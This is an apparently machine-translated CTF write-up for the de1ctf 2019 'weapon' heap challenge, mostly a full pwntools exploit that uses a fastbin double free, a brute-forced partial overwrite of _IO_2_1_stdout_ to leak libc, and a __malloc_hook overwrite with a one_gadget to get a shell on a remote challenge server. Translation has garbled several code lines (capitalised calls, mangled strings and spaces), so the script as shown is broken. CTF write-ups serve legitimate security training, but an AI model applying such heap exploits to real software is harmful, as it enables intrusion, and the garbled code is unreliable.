de1ctf_ 2019_ Weapon (blasting _io_2_1_stdout)

Time:2022-1-7

(this is the first pile of topics that I really did by myself. Although it took nearly three hours, I would like to commemorate it with this article.)

I won’t let go of the routine check of the problem and put the program into IDA

 

The logic of the program is very simple, and the vulnerability is also very obvious

 

The point is that this program does not give us the show function, so we thought of the two methods of blasting stdout and house of force for the first time, but the house of force needs to overflow to modify topchunk, so this topic uses blasting io_ Stdout to do

The idea of this problem is to release chunk in the unsorted bin to obtain the value of aren. Note that the program is opened alsr, but the last three digits of the address are fixed, so we need to modify the value of aren to_ IO_ 2_ 1_ stdout_- The value of 0x43 is applied to this position by exploding a byte

I modify the value of aren by nesting chunks in chunks, and then when we modify IO_ After the value of stdout, the value of libc will be printed, and we can go to malloc_ The value of hook is overwritten with one_ Get the value of the gadget to the shell

 

 

The complete exp is as follows:

from pwn import *

#p = process('./de1ctf_2019_weapon')

elf = ELF('./de1ctf_2019_weapon')
libc = ELF('./libc-2.23.so')

def launch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])

def add(size,index,content):
    p.sendlineafter('choice >> ','1')
    p.sendlineafter('wlecome input your size of weapon: ',str(size))
    p.sendlineafter('input index:',str(index))
    p.sendafter('input your name:',content)


def edit(index,content):
    p.sendlineafter('choice >>','3')
    p.sendlineafter('idx: ',str(index))
    p.sendafter('content: ',content)

def free(index):
    p.sendlineafter('choice >>','2')
    p.sendlineafter('idx :',str(index))


def pwn():
    #launch_gdb()
    add(0x50,0,'aaaa')
    Add (0x50,1, b'a '* 0x40 + p64 (0) + p64 (0x6f)) # forges the chunk into the chunk so that the chunk of UAF can be applied here to modify the size of the next chunk
    add(0x50,2,'aaaa')
    add(0x60,3,'aaaa')
    add(0x50,4,'aaaa')
    add(0x60,5,'aaaa')

    free(0)
    free(1)
    free(0)

    Add (0x50,0, '\ xb0') # modifies the value of FD and changes the linked list structure    
    add(0x50,1,'aaaa')
    add(0x50,0,'aaaa')
    Add (0x50,7, p64 (0) + p64 (0xd1)) # note that D1 here must not be filled in casually, but just cover the size of the next chunk

    free(2)
    free(3)
    Add (0x50,8, 'a') # restores the modified chunk of 0xd1 size
    add(0x50,9,'a')
    add(0x50,10,'a')

    Free (2) # here UAF's chunk is also a little fastidious. You need to be able to apply to the last location of the leaked chunk. You can't use UAF casually
    free(4)
    free(2)

    add(0x50,2,'\x10')
    add(0x50,4,'aaaa')
    Add (0x50,2, b'a '* 0x40 + p64 (0) + p64 (0x6f)) # modify the contents of the chunk so that the next chunk can apply to the position of 0x10
    add(0x50,11,p64(0)+p64(0x71)+b'\xdd\x25')
    add(0x60,3,'aaaa')

    add(0x60,12,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')
    libc_ base = u64(p.recvuntil('\x7f')[-6:]. Ljust (8, B '\ X00') - 0x3c5600 # blasting IO_ After the value of stdout, the first / x7f encountered will be printed, so the offset cannot be directly subtracted to obtain libc -- base
    if libc_base == -0x3c5600:
        exit(-1)

    print('libc_base-->'+hex(libc_base))

    malloc_hook = libc_base + libc.sym['__malloc_hook']
    one = [0x45216,0x4526a,0xf02a4,0xf1147]
    one_gadget = libc_base+one[2]
    print('one_gdbget-->'+hex(one_gadget))
    add(0x60,13,'a')
    add(0x60,14,'a')
    add(0x60,15,'a')

    free(13)
    free(14)
    free(13)

    add(0x60,13,p64(malloc_hook-0x23))
    add(0x60,14,'a')
    add(0x60,13,'a')
    add(0x60,16,b'a'*0x13+p64(one_gadget))

    free(0)
    free(0)

    p.interactive()

if __name__=='__main__':
    while True:
        #p=process('./de1ctf_2019_weapon')
        p = remote('node4.buuoj.cn','25633')
        try:
            pwn()
        except:
            p.close()

(Tucao index, the topic I chose is really troublesome, and I make complaints about it for a long time.)

 

Recommended Today

Proper memory alignment in go language

problem type Part1 struct { a bool b int32 c int8 d int64 e byte } Before we start, I want you to calculatePart1What is the total occupancy size? func main() { fmt.Printf(“bool size: %d\n”, unsafe.Sizeof(bool(true))) fmt.Printf(“int32 size: %d\n”, unsafe.Sizeof(int32(0))) fmt.Printf(“int8 size: %d\n”, unsafe.Sizeof(int8(0))) fmt.Printf(“int64 size: %d\n”, unsafe.Sizeof(int64(0))) fmt.Printf(“byte size: %d\n”, unsafe.Sizeof(byte(0))) fmt.Printf(“string size: %d\n”, […]